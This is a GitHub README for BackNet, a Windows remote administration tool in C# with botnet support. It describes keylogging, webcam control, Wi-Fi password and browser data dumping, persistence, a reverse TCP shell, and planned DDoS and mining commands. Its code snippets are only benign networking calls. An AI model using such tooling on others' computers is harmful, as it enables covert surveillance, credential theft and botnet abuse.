BackNet

github.com/valsov/BackNet

valsov

valsov/**BackNet**

Remote Administration Tool with botnet capability, Windows

1 Contributor | 0 Issues | 41 Stars | 33 Forks

build passing | codefactor A

BackNet is a command line remote administration tool for Windows, written in C#. Able to achieve persistance and communicate with a botnet server, it works over a reverse TCP connection, avoiding firewall issues.

Creating commands is fairly easy, feel free to contribute !

Features

Most notable remote commands :

- Keylogger
- Webcam control
- File upload and download
- Remote program execution
- System informations
- Local Area Network scan
- Wifi profiles informations dump (including passwords)
- Firefox and Google Chrome databases information extraction
- Remote shell
- Persistance

- LoadCommands - allows you to load commands from DLLs at runtime

More to come !

Structure

BackNet consists in 3 projects :

- **Master** : The console application used to interact with the slave by sending commands. It can also be used to issue commands to the botnet server.
- **Slave** : The WPF application to deploy on the computer you wish to monitor and control.
- **Shared** : DLL that contains global mechanics for the Master and Slave projects. For example, the network manager. A DLL is not welcome in a lot of scenarios when using the Slave, so a reference embedding tool is used for the slave project : Costura Fody

Communication between the Master and Slave was made easy, you can send and read lines, as well as send and receive files in just one line.

Send a line of text

```
GlobalCommandsManager.networkManager.WriteLine("Hello !");
```

Read a line of text

```
string message = GlobalCommandsManager.networkManager.ReadLine();
```

Send a file over the network, using a FileStream

```
GlobalCommandsManager.networkManager.StreamToNetworkStream(fileStream);
```

Receive a file over the network

```
GlobalCommandsManager.networkManager.NetworkStreamToStream(fileStream);
```

File transferts come with a nice progress bar !

Commands

Commands are located in both the Master and Slave projects. In order to create a new command, you will have to create two files containing the new command class, in the Master project and Slave project. A command class should be internal. A command will first be sent to the Slave, then processed by the Master (to process the Slave messages)

- The Master commands must implement the IMasterCommand interface
    - **name** : how to call your command from the Master interface
    - **description** : describe what it will do
    - **isLocal** : should this command only be executed on the master side ? (example : lcd - local change directory)
    - **validArguments** : list of string representing the command arguments syntax, will be described below
    - **Process(List<string> args)** : the actual code executed on the Master side
    - **PreProcess(List<string> args)** -optional- : if your command needs to do some checks on the Master side before sending the command to the Slave, just make your IMasterCommand class implement the IPreprocessCommand interface as well
- The Slave commands must implement the ICommand interface
    - **name** : same as the one in the IMasterCommand
    - **Process(List<string> args)** : code executed on the Slave side, this is usually where most of your work goes !

Valid arguments are stated in a string which must follow those rule:

- If there is no arguments for the command, then null
- "?" is for a string, and "0" is for an integer
- If a string is confidential, add a "*" => "?*", this way, it will not be sent to the slave as is
- ? arguments must be followed by a [ArgumentName] => example: "?:[filename]" or "?*:[filename]"

Example : **download** command

```
public List<string> validArguments { get; set; } = new List<string>()
{
    "?:[remoteFileName] ?*:[localFileName]"
};
```

The arguments are composed of two strings, the remote file name and the local file name. The latter won't be sent to the slave because it is confidential, so it's marked with a star.

Botnet

Backnet was designed to communicate with a botnet server to issue commands to all the registered Slaves. This way, you can make a registered Slave connect to you (Master) and send commands directly to it. More botnet commands will be added, like DDOS, bitcoin mining, etc... Of course, this behaviour is optional and requires you to setup a botnet server.

PHP source code for the botnet server is avaible in the 'botnet' folder. The database engine used in this project is MySQL.

License

This project is licensed under the MIT License - see the LICENSE file for details